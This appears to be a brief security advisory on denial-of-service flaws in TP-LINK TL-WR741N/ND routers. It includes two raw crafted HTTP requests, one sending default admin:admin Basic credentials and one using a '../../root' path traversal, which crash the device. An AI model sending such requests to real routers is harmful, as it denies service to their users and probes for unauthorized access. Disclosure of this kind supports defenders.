source: https://www.securityfocus.com/bid/59325/info

TP-LINK TL-WR741N and TL-WR741ND routers are prone to multiple denial-of-service vulnerabilities when handling specially crafted HTTP requests.

Successful exploits will cause the device to crash, denying service to legitimate users. 

GET http://www.example.com:80/userRpm/DdnsAddRpm.htm?provider=4 HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://www.example.com/userRpm/DdnsAddRpm.htm?provider=4
Authorization: Basic YWRtaW46YWRtaW4=



GET http://www.example.com:80/help/../../root HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:14.0) Gecko/20100101 Firefox/14.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://www.example.com/help/